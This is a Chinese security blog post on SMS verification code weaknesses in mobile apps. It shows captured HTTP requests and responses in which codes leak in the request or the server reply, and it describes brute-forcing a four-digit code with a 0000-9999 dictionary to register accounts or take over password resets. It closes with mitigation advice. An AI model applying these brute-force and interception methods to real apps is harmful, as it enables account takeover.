(一)序言


  随着APP项目数量的增多,短信验证码的广泛应用在用户验证方面,大大提升了用户账户的安全性,也为厂商大大降低了非法注册以及烂注册账户的数据出现。但是短信验证码的二次验证并不是最好的二次验证方法,因为它会随着用户手机遗失等等,造成一些威胁。但其却是成本最低最容易实现也基本靠谱的验证方法:用户绑定性较强,不需要额外设备,用户广泛拥有,校验成本极低,所以大部分的APP中的都是短信安全验证码。由此可见,短信验证码的安全防范机制是非常重要的。

(二)具体厂商案例演示

1.当短信验证码的请求发送之后,POST提交内容中含有验证码信息

POST数据包:

POSThttp://*.*.*.*/app/me/sendSmsMsg HTTP/1.1
Host: *.*.*.*
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: keep-alive
Proxy-Connection: keep-alive
Cookie: JSESSIONID=262f5n0oyngp17n40g26x2bif
User-Agent: TrafficPlusPlus/1.1 (iPhone; iOS9.1; Scale/3.00)
Accept-Language: zh-Hans-CN;q=1,zh-Hant-CN;q=0.9
Accept-Encoding: gzip, deflate
Content-Length: 37
mobile=13800138000&smsCodeRand=753211


我们可以看到POST提交的内容中,mobile=$$ 这个字段就是发送手机的号码,smsCodeRand=$$ 这个字段就是发送的验证码字段了。

图中我们可以看到这验证码为753211,这时候我们看手机收到的验证码也是为753211,

这种类型的漏洞,还可以对其进行任意字符的输入,也可以发送到手机上面。例如在截取到post数据包之后,我们可以对smsCodeRand 这个字段后面的内容进行修改,但是有字符限制~

2.POST数据提交之后,服务器返回验证码


POST数据包:
POST http://*.*.*.*/api.php/Index/phone_verify HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Host: *.*.*.*

Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
osVersion=4.2.2&deveiceID=354236020032860&appVersion=3.2.0&hardWareVersion=S5&type=normal&phone=18900189000


首先我们看这个POST提交的内容,在这其中我觉得厂商提交了一些不必要提交的东西,例如OS的版本号,手机的ID码,手机的型号。但是,这可以帮助厂商进行一个设备注册的限制。我们继续看这个数据包,当我们发送了这个数据包之后,我在FIDDLER的返回值里面看到了我想要的东西。
返回包:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.3.27
Set-Cookie: PHPSESSID=2p96mnh74d26n1c12oa28s5ql2; path=/
X-Powered-By: ASP.NET
Date: Sun, 27 Dec 2015 01:13:35 GMT
Content-Length: 131
{"data":{"1":{"city":"","authcode":"646141"}},"state":1,"msg":"\u9a8c\u8bc1\u7801\u5df2\u53d1\u9001\u81f3\u60a8\u7684\u624b\u673a"}

从中可以看到 authcode:646141 这个字段就是已经把发送出去的验证码返回了,这时候我们也无需输入再去手机上查看,直接输入就可以了。

3.短信安全验证码的暴力破解

这个漏洞,现在在大部分的APP中比较普遍,同时也是厂商们容易忽略的一个地方。我们来看这个漏洞的复现。
还是抓取POST数据包:
POST http://*.*.*.*/Interfaces/MC.aspx HTTP/1.1
Content-Length: 390
Content-Type: application/x-www-form-urlencoded
Host: *.*.*.*

Connection: Keep-Alive
Accept-Encoding: gzip
ContentType: application/x-www-form-urlencoded
platform=android&mobileModel=S5&_t=UserOperation&stime=20151226103902&DeviceOSVersion=4.2.2&installedSource=xzz_360_android&imei=

354236020032860&_m=UserRegisterByMobileAndPwd_1_5_0&verifCode=§1234§&DeviceModel=S5&userID=-1&mobile=手机号&versionNumber=6.2.2&clientId=354236020032860&encryptstr=d5e95db955c61e23e6dc51ecde3303b0&nickname=talks+&pwd=123456&AppName=
xzz&NetType=wifi&imsi=null


这里是一个任意注册,其中设置verifCode这个字段为变值,用正序异步来进行验证的码的爆破,这里我们要生成一个0000-9999的数列字典,然后对其进行爆破。

经过一段时间的爆破之后,我们成功的爆破出了验证码,并成功注册了。同样的道理,在用户密码找回处,当用户点击获取短信之后,截取数据包,随后对其进行爆破,也会对用户的账号造成安全威胁。

(三)安全限制及建议

以上三种验证码的安全漏洞比较常见,也比较普遍的存在于各大厂商的APP当中,对于这种漏洞,最好是先在前端对POST数据的发送及返回数据做一个过滤,过滤掉敏感信息。其次是对验证码的输入次数进行限制,以及验证码的有效期时间进行限制等等。天下没有完全安全的系统,所以愿意与各大厂商共勉,共同进步~day day up!

转载请保留来源:SSS_吃饭  @比戈大牛